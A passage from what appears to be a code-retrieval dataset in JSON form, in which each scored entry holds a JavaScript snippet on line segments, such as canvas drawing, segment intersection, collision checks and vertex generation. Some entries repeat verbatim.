this.topBorderImage,\n 0,\n 0,\n this.totalWidth,\n this.paddingTop\n );\n };\n this.topBorderImage.src = topBorderImage;\n\n this.borderBottomImage = new Image();\n this.borderBottomImage.onload = () => {\n this.canvas.drawImage(\n this.borderBottomImage,\n 0,\n this.totalHeight - this.paddingBottom,\n this.totalWidth,\n this.paddingBottom\n );\n };\n this.borderBottomImage.src = bottomBorderImage;\n\n this.leftRightBorderImage = new Image();\n this.leftRightBorderImage.onload = () => {\n this.canvas.drawImage(\n this.leftRightBorderImage,\n 0,\n this.paddingTop,\n this.paddingLeft,\n this.height\n );\n this.canvas.drawImage(\n this.leftRightBorderImage,\n this.totalWidth - this.paddingRight,\n this.paddingTop,\n this.paddingRight,\n this.height\n );\n };\n this.leftRightBorderImage.src = leftRightBorderImage;\n }\n }", "title": "" }, { "docid": "b085e4c6dcfafcd87fc68f1561619570", "score": "0.52936214", "text": "function drawOtherVerticalLines() {\n ctx.strokeStyle = `#a9a9a9`;\n ctx.beginPath();\n for (let i = 0; i < 400; i += 40) {\n ctx.moveTo(i, 0);\n ctx.lineTo(i, 400);\n }\n ctx.stroke();\n}", "title": "" }, { "docid": "6bed8a5c1581e8fa150fa23e82c87815", "score": "0.52799255", "text": "plaintextSegments() {\n return this.normalizePlaintext()\n .match(new RegExp(`.{1,${this.size()}}`, 'g')) //find each space (global) and create a pattern of lines with the\n }", "title": "" }, { "docid": "9bc8bd36fb82b4fd709683afd05c1118", "score": "0.52734584", "text": "ensureLineGaps(current) {\n let gaps = []; // This won't work at all in predominantly right-to-left text.\n\n if (this.heightOracle.direction != Direction.LTR) return gaps;\n this.heightMap.forEachLine(this.viewport.from, this.viewport.to, this.state.doc, 0, 0, line => {\n if (line.length < 10000\n /* Margin */\n ) return;\n let structure = lineStructure(line.from, line.to, this.state);\n if (structure.total < 10000\n /* Margin */\n ) return;\n let viewFrom, viewTo;\n\n if (this.heightOracle.lineWrapping) {\n if (line.from != this.viewport.from) viewFrom = line.from;else viewFrom = findPosition(structure, (this.pixelViewport.top - line.top) / line.height);\n if (line.to != this.viewport.to) viewTo = line.to;else viewTo = findPosition(structure, (this.pixelViewport.bottom - line.top) / line.height);\n } else {\n let totalWidth = structure.total * this.heightOracle.charWidth;\n viewFrom = findPosition(structure, this.pixelViewport.left / totalWidth);\n viewTo = findPosition(structure, this.pixelViewport.right / totalWidth);\n }\n\n let sel = this.state.selection.primary; // Make sure the gap doesn't cover a selection end\n\n if (sel.from <= viewFrom && sel.to >= line.from) viewFrom = sel.from;\n if (sel.from <= line.to && sel.to >= viewTo) viewTo = sel.to;\n let gapTo = viewFrom - 10000\n /* Margin */\n ,\n gapFrom = viewTo + 10000\n /* Margin */\n ;\n if (gapTo > line.from + 5000\n /* HalfMargin */\n ) gaps.push(find(current, gap => gap.from == line.from && gap.to > gapTo - 5000\n /* HalfMargin */\n && gap.to < gapTo + 5000\n /* HalfMargin */\n ) || new LineGap(line.from, gapTo, this.gapSize(line, gapTo, true, structure)));\n if (gapFrom < line.to - 5000\n /* HalfMargin */\n ) gaps.push(find(current, gap => gap.to == line.to && gap.from > gapFrom - 5000\n /* HalfMargin */\n && gap.from < gapFrom + 5000\n /* HalfMargin */\n ) || new LineGap(gapFrom, line.to, this.gapSize(line, gapFrom, false, structure)));\n });\n return gaps;\n }", "title": "" }, { "docid": "85ecc83014284e347e6d473102d574da", "score": "0.52641976", "text": "invalidatePoints() {\n this._invalidatingPoints = true;\n const numSegments = this.segments.length;\n for (let i = 0; i < numSegments; i++) {\n this.segments[i].invalidate();\n }\n this._invalidatingPoints = false;\n this.invalidate();\n }", "title": "" }, { "docid": "27372f2e277524545757a1977bed0b90", "score": "0.52636343", "text": "function Segment(a,b){\n\tthis.a = a;\n\tthis.b = b;\n\tthis.A = a.y - b.y;\n\tthis.B = b.x - a.x;\n\tthis.C = a.x*b.y - b.x*a.y;\n\tthis.D = Math.sqrt(sqr(this.A)+sqr(this.B));\n\tthis.length = dist(a,b);\n\t\n\tthis.dist = function(segment){\n\t\tif ((this.a.x-this.b.x)*(segment.x-this.b.x)+(this.a.y-this.b.y)*(segment.y-this.b.y) <= 0) return dist(this.b,segment);\n\t\tif ((this.b.x-this.a.x)*(segment.x-this.a.x)+(this.b.y-this.a.y)*(segment.y-this.a.y) <= 0) return dist(this.a,segment);\n\t\treturn Math.abs((this.A*segment.x + this.B*segment.y + this.C )/this.D);\n\t};\n\tthis.cross = function(segment){\n\t\tvar z = (segment.b.y-segment.a.y)*(this.b.x-this.a.x)-(segment.b.x-segment.a.x)*(this.b.y-this.a.y);\n\t\tif (z == 0){return null;}\n\t\tvar ua = (segment.b.x-segment.a.x)*(this.a.y-segment.a.y)-(segment.b.y-segment.a.y)*(this.a.x-segment.a.x);\n\t\tvar x = this.a.x + ua*(this.b.x-this.a.x)/z;\n\t\tvar y = this.a.y + ua*(this.b.y-this.a.y)/z;\n\t\tif (((this.a.x-x)*(x-this.b.x) >= 0)&&((this.a.y-y)*(y-this.b.y) >= 0)){\n\t\t\treturn {x:x,y:y};}\n\t\treturn null;\n\t}\n}", "title": "" }, { "docid": "c7ba633f079803e7cba22041509a9e0a", "score": "0.5262372", "text": "function isSlotSegCollision(seg1, seg2) {\r\n return seg1.bottom > seg2.top && seg1.top < seg2.bottom;\r\n}", "title": "" }, { "docid": "aa09983168998ee6f77a60f89e508411", "score": "0.52582395", "text": "drawLineSegment(\n x1,\n y1,\n x2,\n y2,\n { color = \"#000000\", lineWidth = 1, doLog = false }\n ) {\n var canvas = this.getCanvas();\n var context = this.getCanvasContext();\n var coords1 = this.coordImageToCanvas(x1, y1);\n var canvasX1 = coords1[\"x\"] * canvas.width;\n var canvasY1 = coords1[\"y\"] * canvas.height;\n\n var coords2 = this.coordImageToCanvas(x2, y2);\n var canvasX2 = coords2[\"x\"] * canvas.width;\n var canvasY2 = coords2[\"y\"] * canvas.height;\n\n if (doLog) {\n console.log(\n \"lseg_x1, lseg_y1, lseg_x2, lseg_y2: \" +\n canvasX1 +\n \", \" +\n canvasY1 +\n \", \" +\n canvasX2 +\n \", \" +\n canvasY2\n );\n }\n\n context.strokeStyle = color;\n context.lineWidth = lineWidth;\n context.beginPath();\n context.moveTo(canvasX1, canvasY1);\n context.lineTo(canvasX2, canvasY2);\n context.stroke();\n }", "title": "" }, { "docid": "cafab6f864e437c316289b5a78417b45", "score": "0.52543366", "text": "drawLineSegment(){ // todo: consider renaming\n\n // get the parent simulation's threejs scene\n let scene = this._simulation.getScene();\n\n // ensure object has a line object\n if(this.line != null){\n // update the line's draw range to only display from the end of the tail to the object's position\n this.line.geometry.setDrawRange(this.tailStartIndex, this.currIndex - this.tailStartIndex + 1);\n }\n }", "title": "" }, { "docid": "57e0cf8c453bb5b52eb999ef02dc1bbf", "score": "0.5253258", "text": "function addLineSegment(x0, y0, x1, y1) {\n var segment = {\n x0: x0, y0: y0, x1: x1, y1: y1,\n minX: Math.min(x0, x1),\n minY: Math.min(y0, y1),\n maxX: Math.max(x0, x1),\n maxY: Math.max(y0, y1)\n };\n segments.push(segment);\n needsSort = true;\n }", "title": "" }, { "docid": "df50e8a676175141bea7347fcc6ff664", "score": "0.5245858", "text": "function isSlotSegCollision(seg1, seg2) {\r\n\t return seg1.bottom > seg2.top && seg1.top < seg2.bottom;\r\n\t}", "title": "" }, { "docid": "5a97889ef4c58ef7f17affe3d4d611ff", "score": "0.5234983", "text": "function setVerticals(segments, doRowHeights) {\n\t\tvar rowContentHeights = calculateVerticals(segments); // also sets segment.top\n\t\tvar rowContentElements = getRowContentElements(); // returns 1 inner div per row\n\t\tvar rowContentTops = [];\n\n\t\t// Set each row's height by setting height of first inner div\n\t\tif (doRowHeights) {\n\t\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\t\trowContentElements[i].height(rowContentHeights[i]);\n\t\t\t}\n\t\t}\n\n\t\t// Get each row's top, relative to the views's origin.\n\t\t// Important to do this after setting each row's height.\n\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\trowContentTops.push(\n\t\t\t\trowContentElements[i].position().top\n\t\t\t);\n\t\t}\n\n\t\t// Set each segment element's CSS \"top\" property.\n\t\t// Each segment object has a \"top\" property, which is relative to the row's top, but...\n\t\tsegmentElementEach(segments, function(segment, element) {\n\t\t\telement.css(\n\t\t\t\t'top',\n\t\t\t\trowContentTops[segment.row] + segment.top // ...now, relative to views's origin\n\t\t\t);\n\t\t});\n\t}", "title": "" }, { "docid": "5a97889ef4c58ef7f17affe3d4d611ff", "score": "0.5234983", "text": "function setVerticals(segments, doRowHeights) {\n\t\tvar rowContentHeights = calculateVerticals(segments); // also sets segment.top\n\t\tvar rowContentElements = getRowContentElements(); // returns 1 inner div per row\n\t\tvar rowContentTops = [];\n\n\t\t// Set each row's height by setting height of first inner div\n\t\tif (doRowHeights) {\n\t\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\t\trowContentElements[i].height(rowContentHeights[i]);\n\t\t\t}\n\t\t}\n\n\t\t// Get each row's top, relative to the views's origin.\n\t\t// Important to do this after setting each row's height.\n\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\trowContentTops.push(\n\t\t\t\trowContentElements[i].position().top\n\t\t\t);\n\t\t}\n\n\t\t// Set each segment element's CSS \"top\" property.\n\t\t// Each segment object has a \"top\" property, which is relative to the row's top, but...\n\t\tsegmentElementEach(segments, function(segment, element) {\n\t\t\telement.css(\n\t\t\t\t'top',\n\t\t\t\trowContentTops[segment.row] + segment.top // ...now, relative to views's origin\n\t\t\t);\n\t\t});\n\t}", "title": "" }, { "docid": "5a97889ef4c58ef7f17affe3d4d611ff", "score": "0.5234983", "text": "function setVerticals(segments, doRowHeights) {\n\t\tvar rowContentHeights = calculateVerticals(segments); // also sets segment.top\n\t\tvar rowContentElements = getRowContentElements(); // returns 1 inner div per row\n\t\tvar rowContentTops = [];\n\n\t\t// Set each row's height by setting height of first inner div\n\t\tif (doRowHeights) {\n\t\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\t\trowContentElements[i].height(rowContentHeights[i]);\n\t\t\t}\n\t\t}\n\n\t\t// Get each row's top, relative to the views's origin.\n\t\t// Important to do this after setting each row's height.\n\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\trowContentTops.push(\n\t\t\t\trowContentElements[i].position().top\n\t\t\t);\n\t\t}\n\n\t\t// Set each segment element's CSS \"top\" property.\n\t\t// Each segment object has a \"top\" property, which is relative to the row's top, but...\n\t\tsegmentElementEach(segments, function(segment, element) {\n\t\t\telement.css(\n\t\t\t\t'top',\n\t\t\t\trowContentTops[segment.row] + segment.top // ...now, relative to views's origin\n\t\t\t);\n\t\t});\n\t}", "title": "" }, { "docid": "5a97889ef4c58ef7f17affe3d4d611ff", "score": "0.5234983", "text": "function setVerticals(segments, doRowHeights) {\n\t\tvar rowContentHeights = calculateVerticals(segments); // also sets segment.top\n\t\tvar rowContentElements = getRowContentElements(); // returns 1 inner div per row\n\t\tvar rowContentTops = [];\n\n\t\t// Set each row's height by setting height of first inner div\n\t\tif (doRowHeights) {\n\t\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\t\trowContentElements[i].height(rowContentHeights[i]);\n\t\t\t}\n\t\t}\n\n\t\t// Get each row's top, relative to the views's origin.\n\t\t// Important to do this after setting each row's height.\n\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\trowContentTops.push(\n\t\t\t\trowContentElements[i].position().top\n\t\t\t);\n\t\t}\n\n\t\t// Set each segment element's CSS \"top\" property.\n\t\t// Each segment object has a \"top\" property, which is relative to the row's top, but...\n\t\tsegmentElementEach(segments, function(segment, element) {\n\t\t\telement.css(\n\t\t\t\t'top',\n\t\t\t\trowContentTops[segment.row] + segment.top // ...now, relative to views's origin\n\t\t\t);\n\t\t});\n\t}", "title": "" }, { "docid": "5a97889ef4c58ef7f17affe3d4d611ff", "score": "0.5234983", "text": "function setVerticals(segments, doRowHeights) {\n\t\tvar rowContentHeights = calculateVerticals(segments); // also sets segment.top\n\t\tvar rowContentElements = getRowContentElements(); // returns 1 inner div per row\n\t\tvar rowContentTops = [];\n\n\t\t// Set each row's height by setting height of first inner div\n\t\tif (doRowHeights) {\n\t\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\t\trowContentElements[i].height(rowContentHeights[i]);\n\t\t\t}\n\t\t}\n\n\t\t// Get each row's top, relative to the views's origin.\n\t\t// Important to do this after setting each row's height.\n\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\trowContentTops.push(\n\t\t\t\trowContentElements[i].position().top\n\t\t\t);\n\t\t}\n\n\t\t// Set each segment element's CSS \"top\" property.\n\t\t// Each segment object has a \"top\" property, which is relative to the row's top, but...\n\t\tsegmentElementEach(segments, function(segment, element) {\n\t\t\telement.css(\n\t\t\t\t'top',\n\t\t\t\trowContentTops[segment.row] + segment.top // ...now, relative to views's origin\n\t\t\t);\n\t\t});\n\t}", "title": "" }, { "docid": "5a97889ef4c58ef7f17affe3d4d611ff", "score": "0.5234983", "text": "function setVerticals(segments, doRowHeights) {\n\t\tvar rowContentHeights = calculateVerticals(segments); // also sets segment.top\n\t\tvar rowContentElements = getRowContentElements(); // returns 1 inner div per row\n\t\tvar rowContentTops = [];\n\n\t\t// Set each row's height by setting height of first inner div\n\t\tif (doRowHeights) {\n\t\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\t\trowContentElements[i].height(rowContentHeights[i]);\n\t\t\t}\n\t\t}\n\n\t\t// Get each row's top, relative to the views's origin.\n\t\t// Important to do this after setting each row's height.\n\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\trowContentTops.push(\n\t\t\t\trowContentElements[i].position().top\n\t\t\t);\n\t\t}\n\n\t\t// Set each segment element's CSS \"top\" property.\n\t\t// Each segment object has a \"top\" property, which is relative to the row's top, but...\n\t\tsegmentElementEach(segments, function(segment, element) {\n\t\t\telement.css(\n\t\t\t\t'top',\n\t\t\t\trowContentTops[segment.row] + segment.top // ...now, relative to views's origin\n\t\t\t);\n\t\t});\n\t}", "title": "" }, { "docid": "5a97889ef4c58ef7f17affe3d4d611ff", "score": "0.5234983", "text": "function setVerticals(segments, doRowHeights) {\n\t\tvar rowContentHeights = calculateVerticals(segments); // also sets segment.top\n\t\tvar rowContentElements = getRowContentElements(); // returns 1 inner div per row\n\t\tvar rowContentTops = [];\n\n\t\t// Set each row's height by setting height of first inner div\n\t\tif (doRowHeights) {\n\t\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\t\trowContentElements[i].height(rowContentHeights[i]);\n\t\t\t}\n\t\t}\n\n\t\t// Get each row's top, relative to the views's origin.\n\t\t// Important to do this after setting each row's height.\n\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\trowContentTops.push(\n\t\t\t\trowContentElements[i].position().top\n\t\t\t);\n\t\t}\n\n\t\t// Set each segment element's CSS \"top\" property.\n\t\t// Each segment object has a \"top\" property, which is relative to the row's top, but...\n\t\tsegmentElementEach(segments, function(segment, element) {\n\t\t\telement.css(\n\t\t\t\t'top',\n\t\t\t\trowContentTops[segment.row] + segment.top // ...now, relative to views's origin\n\t\t\t);\n\t\t});\n\t}", "title": "" }, { "docid": "5a97889ef4c58ef7f17affe3d4d611ff", "score": "0.5234983", "text": "function setVerticals(segments, doRowHeights) {\n\t\tvar rowContentHeights = calculateVerticals(segments); // also sets segment.top\n\t\tvar rowContentElements = getRowContentElements(); // returns 1 inner div per row\n\t\tvar rowContentTops = [];\n\n\t\t// Set each row's height by setting height of first inner div\n\t\tif (doRowHeights) {\n\t\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\t\trowContentElements[i].height(rowContentHeights[i]);\n\t\t\t}\n\t\t}\n\n\t\t// Get each row's top, relative to the views's origin.\n\t\t// Important to do this after setting each row's height.\n\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\trowContentTops.push(\n\t\t\t\trowContentElements[i].position().top\n\t\t\t);\n\t\t}\n\n\t\t// Set each segment element's CSS \"top\" property.\n\t\t// Each segment object has a \"top\" property, which is relative to the row's top, but...\n\t\tsegmentElementEach(segments, function(segment, element) {\n\t\t\telement.css(\n\t\t\t\t'top',\n\t\t\t\trowContentTops[segment.row] + segment.top // ...now, relative to views's origin\n\t\t\t);\n\t\t});\n\t}", "title": "" }, { "docid": "5a97889ef4c58ef7f17affe3d4d611ff", "score": "0.5234983", "text": "function setVerticals(segments, doRowHeights) {\n\t\tvar rowContentHeights = calculateVerticals(segments); // also sets segment.top\n\t\tvar rowContentElements = getRowContentElements(); // returns 1 inner div per row\n\t\tvar rowContentTops = [];\n\n\t\t// Set each row's height by setting height of first inner div\n\t\tif (doRowHeights) {\n\t\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\t\trowContentElements[i].height(rowContentHeights[i]);\n\t\t\t}\n\t\t}\n\n\t\t// Get each row's top, relative to the views's origin.\n\t\t// Important to do this after setting each row's height.\n\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\trowContentTops.push(\n\t\t\t\trowContentElements[i].position().top\n\t\t\t);\n\t\t}\n\n\t\t// Set each segment element's CSS \"top\" property.\n\t\t// Each segment object has a \"top\" property, which is relative to the row's top, but...\n\t\tsegmentElementEach(segments, function(segment, element) {\n\t\t\telement.css(\n\t\t\t\t'top',\n\t\t\t\trowContentTops[segment.row] + segment.top // ...now, relative to views's origin\n\t\t\t);\n\t\t});\n\t}", "title": "" }, { "docid": "5a97889ef4c58ef7f17affe3d4d611ff", "score": "0.5234983", "text": "function setVerticals(segments, doRowHeights) {\n\t\tvar rowContentHeights = calculateVerticals(segments); // also sets segment.top\n\t\tvar rowContentElements = getRowContentElements(); // returns 1 inner div per row\n\t\tvar rowContentTops = [];\n\n\t\t// Set each row's height by setting height of first inner div\n\t\tif (doRowHeights) {\n\t\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\t\trowContentElements[i].height(rowContentHeights[i]);\n\t\t\t}\n\t\t}\n\n\t\t// Get each row's top, relative to the views's origin.\n\t\t// Important to do this after setting each row's height.\n\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\trowContentTops.push(\n\t\t\t\trowContentElements[i].position().top\n\t\t\t);\n\t\t}\n\n\t\t// Set each segment element's CSS \"top\" property.\n\t\t// Each segment object has a \"top\" property, which is relative to the row's top, but...\n\t\tsegmentElementEach(segments, function(segment, element) {\n\t\t\telement.css(\n\t\t\t\t'top',\n\t\t\t\trowContentTops[segment.row] + segment.top // ...now, relative to views's origin\n\t\t\t);\n\t\t});\n\t}", "title": "" }, { "docid": "5a97889ef4c58ef7f17affe3d4d611ff", "score": "0.5234983", "text": "function setVerticals(segments, doRowHeights) {\n\t\tvar rowContentHeights = calculateVerticals(segments); // also sets segment.top\n\t\tvar rowContentElements = getRowContentElements(); // returns 1 inner div per row\n\t\tvar rowContentTops = [];\n\n\t\t// Set each row's height by setting height of first inner div\n\t\tif (doRowHeights) {\n\t\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\t\trowContentElements[i].height(rowContentHeights[i]);\n\t\t\t}\n\t\t}\n\n\t\t// Get each row's top, relative to the views's origin.\n\t\t// Important to do this after setting each row's height.\n\t\tfor (var i=0; i<rowContentElements.length; i++) {\n\t\t\trowContentTops.push(\n\t\t\t\trowContentElements[i].position().top\n\t\t\t);\n\t\t}\n\n\t\t// Set each segment element's CSS \"top\" property.\n\t\t// Each segment object has a \"top\" property, which is relative to the row's top, but...\n\t\tsegmentElementEach(segments, function(segment, element) {\n\t\t\telement.css(\n\t\t\t\t'top',\n\t\t\t\trowContentTops[segment.row] + segment.top // ...now, relative to views's origin\n\t\t\t);\n\t\t});\n\t}", "title": "" }, { "docid": "abe96524e907ca5255bcc292906a2786", "score": "0.52320105", "text": "function getSmallerSegment(input){\n\n}", "title": "" }, { "docid": "36763b038d0e652eea5549f46aeb42ff", "score": "0.52201605", "text": "display(){\n\n push();\n\n fill(this.color);\n noStroke();\n\n for(let i = 0; i < this.numOfSegs; i++){\n ellipse(this.segments[i].x,this.segments[i].y,this.segments[i].width);\n }\n pop();\n\n }", "title": "" }, { "docid": "bd0270117ed5cf4f2d1c03c660c9bbd9", "score": "0.5214286", "text": "getNondegenerateSegments() {\n if (this._radius <= 0 || this._startAngle === this._endAngle) {\n return [];\n } else {\n return [this]; // basically, Arcs aren't really degenerate that easily\n }\n }", "title": "" }, { "docid": "826e593bb61ddd4bdee5e88a3580d8fe", "score": "0.52094454", "text": "edgeCheck() {\n\n // check if the selected segment has hit a vertical wall (left or right walls)\n if (this.segments[this.select].x + (this.segments[this.select].width /2) >= width || this.segments[this.select].x - (this.segments[this.select].width /2) <= 0) {\n this.segments[this.select].deltaX *= -1;\n }\n // check if the selected segment has hit a horizontal wall (top or bottom walls)\n if (this.segments[this.select].y + (this.segments[this.select].width /2) >= height || this.segments[this.select].y - (this.segments[this.select].width /2) <= 0) {\n this.segments[this.select].deltaY *= -1;\n }\n }", "title": "" }, { "docid": "edc1b09a1e3f6872d08a8e88c2df5d3a", "score": "0.5207124", "text": "function finishSelection() {\n segments = [];\n for (let i = 0; i < wires.length; i++) {\n if (wires[i].startX === wires[i].endX) {\n // Vertical wire, split in n vertical segments\n for (let j = 0; j < (wires[i].endY - wires[i].startY) / GRIDSIZE; j++) {\n segments.push(new WSeg(1, wires[i].startX, (wires[i].startY + j * GRIDSIZE), false, transform));\n }\n } else if (wires[i].startY === wires[i].endY) {\n // Horizontal wire, split in n horizontal segments\n for (let j = 0; j < (wires[i].endX - wires[i].startX) / GRIDSIZE; j++) {\n segments.push(new WSeg(0, wires[i].startX + j * GRIDSIZE, wires[i].startY, false, transform));\n }\n }\n }\n doConpoints();\n}", "title": "" }, { "docid": "6ef04a53afaab9d84aa6907dc0a7c0a0", "score": "0.5207098", "text": "function draw() {\n\n background(0);\n noStroke();\n fill(100,200,100);\n\n let x = caterpillar.x;\n let numSegments = 5;\n let segmentsDrawn = 0;\n\n while(segmentsDrawn < numSegments) {\n ellipse(x,caterpillar.y,caterpillar.segmentSize);\n x = x + 40;\n segmentsDrawn++;\n }\n\n let x1 = caterpillar2.x;\n for(let i = 0; i <numSegments; i++) {\n ellipse(x1,caterpillar2.y,caterpillar2.segmentSize);\n x1 = x1 + 40;\n }\n\n\n\n}", "title": "" }, { "docid": "b314e637a70b417f23de6ecc44a4dea2", "score": "0.52052325", "text": "function size_of(segments, bindings) {\n var size = 0;\n for (var i=0, len = segments.length; i < len; i++) {\n size += size_of_segment(segments[i], bindings);\n }\n return size;\n}", "title": "" }, { "docid": "efa7c2c6509943ee2e7092f5d0da2152", "score": "0.5203171", "text": "draw() {\n this.segments.forEach((segment) => {\n segment.update();\n segment.draw();\n });\n }", "title": "" }, { "docid": "8d102584f7bf60622ec8c3d82749b2dc", "score": "0.5193644", "text": "function isSlotSegCollision(seg1, seg2) {\n return seg1.bottom > seg2.top && seg1.top < seg2.bottom;\n}", "title": "" }, { "docid": "8d102584f7bf60622ec8c3d82749b2dc", "score": "0.5193644", "text": "function isSlotSegCollision(seg1, seg2) {\n return seg1.bottom > seg2.top && seg1.top < seg2.bottom;\n}", "title": "" }, { "docid": "8d102584f7bf60622ec8c3d82749b2dc", "score": "0.5193644", "text": "function isSlotSegCollision(seg1, seg2) {\n return seg1.bottom > seg2.top && seg1.top < seg2.bottom;\n}", "title": "" }, { "docid": "8d102584f7bf60622ec8c3d82749b2dc", "score": "0.5193644", "text": "function isSlotSegCollision(seg1, seg2) {\n return seg1.bottom > seg2.top && seg1.top < seg2.bottom;\n}", "title": "" }, { "docid": "8d102584f7bf60622ec8c3d82749b2dc", "score": "0.5193644", "text": "function isSlotSegCollision(seg1, seg2) {\n return seg1.bottom > seg2.top && seg1.top < seg2.bottom;\n}", "title": "" }, { "docid": "8d102584f7bf60622ec8c3d82749b2dc", "score": "0.5193644", "text": "function isSlotSegCollision(seg1, seg2) {\n return seg1.bottom > seg2.top && seg1.top < seg2.bottom;\n}", "title": "" }, { "docid": "cbf4f2a9d8f07e81d5e5e466d0c0a2f4", "score": "0.51810193", "text": "_findIntersections()\n {\n const scaffolds = this._grid.positionsWithType(1);\n const vacuum = new Vacuum(this._grid);\n const intersections = scaffolds.filter((pos) => {\n vacuum.set(pos, '^');\n return vacuum.atIntersection();\n });\n intersections.forEach((pos) => this._grid.set(pos, 2));\n }", "title": "" }, { "docid": "ed582ed3f65a8af1d5d6396a570175e5", "score": "0.51746845", "text": "Intersect() {\n var seg0 = this.GetFirstSegment();\n for (var i = 2; i < this.segments.length; i++) {\n if (seg0.Intersect(this.segments[i])) {\n return true;\n }\n }\n return false;\n }", "title": "" }, { "docid": "0cf8ba96a7ee41f12a670c538e5cb639", "score": "0.51742405", "text": "function drawSegment(_a, _b, color, scale, ctx) {\n var ay = _a[0], ax = _a[1];\n var by = _b[0], bx = _b[1];\n ctx.beginPath();\n ctx.moveTo(ax * scale, ay * scale);\n ctx.lineTo(bx * scale, by * scale);\n ctx.lineWidth = lineWidth;\n ctx.strokeStyle = color;\n ctx.stroke();\n}", "title": "" }, { "docid": "fd09042b9fc3248605caf23f341d0029", "score": "0.51679826", "text": "constructor(segments) {\n ensureDisjoint(segments);\n this.segments = segments;\n }", "title": "" }, { "docid": "a5e9b42a90af2376578c07d02cb081a4", "score": "0.5161113", "text": "function Spacing(segments) {\n if (segments.length > 0) {\n this._speedcore = new speedcore_1.Speedcore(segments);\n }\n }", "title": "" }, { "docid": "33fe18a98b7474447971a3e02766f41c", "score": "0.5160952", "text": "function addSegements(x,y,z) {\n x = u.dv(x,0)\n y = u.dv(y,0)\n z = u.dv(z,0)\n var lastPt = lpt = segger.lastPt;\n\n var nextPt = new BABYLON.Vector3(x+lpt.x,y+lpt.y,z+lpt.z);\n\n if ( segger.segments.length > 0) {\n var distance = BABYLON.Vector3.Distance(lpt, nextPt);\n segger.distance += distance;\n //console.log('---',segger.segments.length, segger.distance, distance, nextPt)\n }\n\n var obj = {};\n obj.a = lastPt;\n obj.b = nextPt;\n segger.segments2.push(obj);\n segger.segments.push(nextPt);\n segger.lastPt = nextPt;\n //makeTestElement\n b.create.square(0.2);\n b.pos(nextPt);\n\n }", "title": "" }, { "docid": "70949fa38f2a8b32c0da4ace8d2bce42", "score": "0.51439905", "text": "function calculateRing( segments, r, y, dy ) {\n\n let segIncr = 1.0 / ( segments - 1 );\n\n for( let s = 0; s < segments; s++ ) {\n\n let x = Math.cos( ( TWO_PI ) * s * segIncr ) * r;\n\n let z = Math.sin( ( TWO_PI ) * s * segIncr ) * r;\n\n vertices.push( radius * x, radius * y + height * dy, radius * z );\n\n normals.push( x, y, z )\n\n let u = 1 - ( s * segIncr );\n\n let v = 0.5 + ( ( radius * y + height * dy ) / ( 2.0 * radius + height ) );\n\n texCoords.push( u, v );\n\n }\n }", "title": "" }, { "docid": "af01d364723702ce648946dce7a91a20", "score": "0.51381093", "text": "function addPoints(segments) {\n\t var theta = (2*Math.PI / segments); //Degrees = radians * (180 / π)\n\t \n \n\t\tcylinderPoints.push(vec3(0,0.5,0));\n cylinderNormal.push(vec3(0,1,0));\n\t\tcylinderPoints.push(vec3(0,-0.5,0));\n cylinderNormal.push(vec3(0,-1,0));\n \n \n\t for (i =0;i<=segments*2;i++){\n\t var x = 0.5*Math.cos(theta*i); \n\t var z = 0.5*Math.sin(theta*i);\n\t \n \n\n\t cylinderPoints.push(vec3(x,0.5,z));\t//Bottom Vertex\n\t cylinderPoints.push(vec3(x,-0.5,z));\t//Top Vertex\n\n\t\t /* if(i<segments){\n\t\t cylinderNormal.push(vec3(0,1,0));\n\t\t cylinderNormal.push(vec3(0,-1,0));\n\t\t }\n\t\t else{*/\n\t\t cylinderNormal.push(normalize(vec3(x,0.5,z)));\n\t\t cylinderNormal.push(normalize(vec3(x,-0.5,z)));\n\t\t //}\n\n\t \n\t /****************************************************************\n\t * *\n\t * NAO SEI SE É PRECISO MAS ADICIONA-SE CASO SEJA PRECISO DEPOIS*\n\t * *\n\t ****************************************************************/\n \n //alert(\"ola\");\n\n\t //Nao necessario, falar com o prof\n cylinderBotVertices.push(vec3(x,-0.5,z));\n\t cylinderTopVertices.push(vec3(x,0.5,z));\n }\n}", "title": "" }, { "docid": "d7601102a2b9de9a24a066272741e8d3", "score": "0.5131447", "text": "function segmentNew(start, end){\n\t\treturn {\n\t\t\tid: buildLog ? buildLog.segmentId() : -1,\n\t\t\tstart: start,\n\t\t\tend: end,\n\t\t\tmyFill: {\n\t\t\t\tabove: null, // is there fill above us?\n\t\t\t\tbelow: null // is there fill below us?\n\t\t\t},\n\t\t\totherFill: null\n\t\t};\n\t}", "title": "" }, { "docid": "d7601102a2b9de9a24a066272741e8d3", "score": "0.5131447", "text": "function segmentNew(start, end){\n\t\treturn {\n\t\t\tid: buildLog ? buildLog.segmentId() : -1,\n\t\t\tstart: start,\n\t\t\tend: end,\n\t\t\tmyFill: {\n\t\t\t\tabove: null, // is there fill above us?\n\t\t\t\tbelow: null // is there fill below us?\n\t\t\t},\n\t\t\totherFill: null\n\t\t};\n\t}", "title": "" }, { "docid": "1921b3b43a350a01460cfba2d41e3065", "score": "0.512597", "text": "addTwoPointsAndSegment(x1, y1, x2, y2) {\n let pointA = this.addNewPoint(x1,y1);\n let pointB = this.addNewPoint(x2,y2);\n let newSegment = this.addSegment(pointA, pointB);\n return newSegment\n }", "title": "" }, { "docid": "7c77b716b3b85d174cd71b8a62b9f4e6", "score": "0.51238745", "text": "doesItIntersectSegment(segment) { // UNTESTED\n if (this.isPointInsideBox(segment.point1) && this.isPointInsideBox(segment.point2)) { // segment entirely inside of box\n return true\n } else if 